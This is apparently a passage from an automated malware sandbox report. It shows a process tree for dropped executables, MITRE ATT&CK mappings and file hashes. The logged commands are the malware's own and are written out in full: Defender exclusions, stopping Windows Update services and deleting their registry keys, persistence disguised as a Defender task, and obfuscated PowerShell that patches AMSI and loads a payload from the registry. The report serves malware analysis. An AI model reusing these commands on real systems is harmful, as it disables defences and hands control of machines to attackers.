AaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1084
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:2116
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1848
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1044 -s 236
    3⤵
    - Program crash
    PID:4084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1204
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:732
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2308
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3388
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4864
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3432
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4200
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4380
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1904
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2636

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2848

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2500

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2320

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2148

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1336

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1132
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oFxGsmcHNaBd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nPRLWgGqJHkxeo,[Parameter(Position=1)][Type]$fSJgYmxtka)$MyTNnkMJMLY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+'t'+''+[Char](101)+'T'+'y'+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+','+'P'+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+'a'+''+'s'+''+'s'+''+','+'Au'+[Char](116)+''+[Char](111)+''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$MyTNnkMJMLY.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+'ec'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+''+[Char](100)+''+'e'+'By'+[Char](83)+''+[Char](105)+'g,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$nPRLWgGqJHkxeo).SetImplementationFlags(''+[Char](82)+''+'u'+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+'age'+[Char](100)+'');$MyTNnkMJMLY.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+'e','P'+[Char](117)+''+[Char](98)+''+[Char](108)+'ic,H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+'Sl'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$fSJgYmxtka,$nPRLWgGqJHkxeo).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'me,'+'M'+''+[Char](97)+'n'+'a'+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $MyTNnkMJMLY.CreateType();}$jnayAZCCywHkS=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+'n'+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](106)+'n'+[Char](97)+'yA'+[Char](90)+'C'+'C'+''+[Char](121)+''+[Char](119)+''+'H'+'k'+[Char](83)+'');$xEGxLkeEgPGJIp=$jnayAZCCywHkS.GetMethod(''+'x'+'EG'+[Char](120)+'L'+[Char](107)+'e'+'E'+''+'g'+''+'P'+'G'+[Char](74)+''+[Char](73)+''+'p'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+''+'t'+''+'a'+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XFnJQFnYDnTlRkxiQxl=oFxGsmcHNaBd @([String])([IntPtr]);$eUzDCaPxnitCQIJyYAEFAa=oFxGsmcHNaBd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qdgBnVjyVJV=$jnayAZCCywHkS.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+'l'+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$URzucFHxMzXKzq=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$qdgBnVjyVJV,[Object](''+[Char](76)+'oa'+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+'r'+''+[Char](121)+''+[Char](65)+'')));$uGltacxWxBkBjvyCR=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$qdgBnVjyVJV,[Object](''+[Char](86)+'i'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$WQOSmDc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($URzucFHxMzXKzq,$XFnJQFnYDnTlRkxiQxl).Invoke('a'+[Char](109)+'si'+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'');$TGPfBxvlSkUQVNuiE=$xEGxLkeEgPGJIp.Invoke($Null,@([Object]$WQOSmDc,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$FDnbhpnDGD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uGltacxWxBkBjvyCR,$eUzDCaPxnitCQIJyYAEFAa).Invoke($TGPfBxvlSkUQVNuiE,[uint32]8,4,[ref]$FDnbhpnDGD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$TGPfBxvlSkUQVNuiE,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uGltacxWxBkBjvyCR,$eUzDCaPxnitCQIJyYAEFAa).Invoke($TGPfBxvlSkUQVNuiE,[uint32]8,0x20,[ref]$FDnbhpnDGD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+[Char](70)+''+[Char](84)+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:640
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:lmSTLPXXwFuX{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rmPHjOzovqQPmp,[Parameter(Position=1)][Type]$gMcvgOOVRm)$HENXhdHiNLA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+''+'e'+''+'c'+''+'t'+''+'e'+'dD'+'e'+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+''+'T'+''+'y'+'pe',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+'ubli'+[Char](99)+''+[Char](44)+'Se'+'a'+'l'+'e'+''+'d'+''+[Char](44)+'A'+'n'+''+[Char](115)+''+'i'+''+'C'+'las'+[Char](115)+''+','+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+'Cl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$HENXhdHiNLA.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+'By'+[Char](83)+''+[Char](105)+'g'+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic',[Reflection.CallingConventions]::Standard,$rmPHjOzovqQPmp).SetImplementationFlags('Runt'+[Char](105)+'m'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+'d'+'');$HENXhdHiNLA.DefineMethod(''+[Char](73)+''+'n'+''+'v'+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c,H'+'i'+''+'d'+''+[Char](101)+'B'+'y'+'Si'+'g'+','+'N'+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$gMcvgOOVRm,$rmPHjOzovqQPmp).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+'e'+','+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $HENXhdHiNLA.CreateType();}$mUWADumqIOszN=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+'te'+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+'s'+'o'+[Char](102)+'t'+[Char](46)+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+'U'+''+[Char](110)+''+'s'+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](109)+''+'U'+''+'W'+''+[Char](65)+''+[Char](68)+''+[Char](117)+''+[Char](109)+''+[Char](113)+''+'I'+''+'O'+''+[Char](115)+'zN');$dCbmRLyEfrNleY=$mUWADumqIOszN.GetMethod(''+[Char](100)+'C'+[Char](98)+''+[Char](109)+''+'R'+''+'L'+'y'+'E'+''+[Char](102)+''+'r'+'Nl'+[Char](101)+''+[Char](89)+'',[Reflection.BindingFlags]'P'+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mAyVAjrZxtCqKmtQTsB=lmSTLPXXwFuX @([String])([IntPtr]);$GkSZbTFILzmqPZJEfLoffX=lmSTLPXXwFuX @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$SmULILAakIB=$mUWADumqIOszN.GetMethod('G'+[Char](101)+''+'t'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')));$EohXyByteTmbWy=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$SmULILAakIB,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+'L'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'y'+'A'+'')));$ZBlZnNHVXuDregcGB=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$SmULILAakIB,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+''+[Char](80)+''+'r'+'o'+[Char](116)+''+[Char](101)+''+'c'+''+[Char](116)+'')));$ZxWmlZn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EohXyByteTmbWy,$mAyVAjrZxtCqKmtQTsB).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+'d'+'l'+''+[Char](108)+'');$OjOrdWSNcxGlaRphu=$dCbmRLyEfrNleY.Invoke($Null,@([Object]$ZxWmlZn,[Object]('AmsiS'+[Char](99)+'an'+[Char](66)+''+'u'+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$LGruNMbuES=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZBlZnNHVXuDregcGB,$GkSZbTFILzmqPZJEfLoffX).Invoke($OjOrdWSNcxGlaRphu,[uint32]8,4,[ref]$LGruNMbuES);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$OjOrdWSNcxGlaRphu,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZBlZnNHVXuDregcGB,$GkSZbTFILzmqPZJEfLoffX).Invoke($OjOrdWSNcxGlaRphu,[uint32]8,0x20,[ref]$LGruNMbuES);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+'A'+'R'+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4644

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675
MD5 124edf3ad57549a6e475f3bc4e6cfe51
SHA1 80f5187eeebb4a304e9caa0ce66fcd78c113d634
SHA512 b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee
SSDEEP 1536:tB+z30fztAHkvlOdBrNKe8flJn1YorV3CNBQkj2okqdzz0RzWRW7jMOvBaVGVh4j:r+z30fztAHktOdBrNKe8flJn1YorV3Cd
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 fc3ccc3db08a5fd460fac3fda1942166cd2b670892956945d25a8d5ddfdcbea9
MD5 3fd87de5c26dfa278796451fdea389dd
SHA1 da45bac56ba1977a63e7f44746e985e2963c2b61
SHA512 19d2fcb6c5aa2f5e5977d14c751f4411fac164d5e777d7a00ebfe6e27e167e0e984890515c98034d26b5d652be003d3011aacf0c23cc2e145043424261912210
SSDEEP 384:4sf++av9i+OMDoeItpNMfi6CsCo9or+vK6seY+p7/PNA3So3A4X3l7FazCvrQ0gs:Vf2qMM/xM68Xor+vNxtYSiF7IzCnnLR
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164
MD5 c697637a9b17f577fccd7e83a5495810
SHA1 04e6054584786b88994b0e0a871562227fe2a435
SHA512 66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0
MD5 SHA1 SHA512

Submit Download

C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

Submit Download

C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
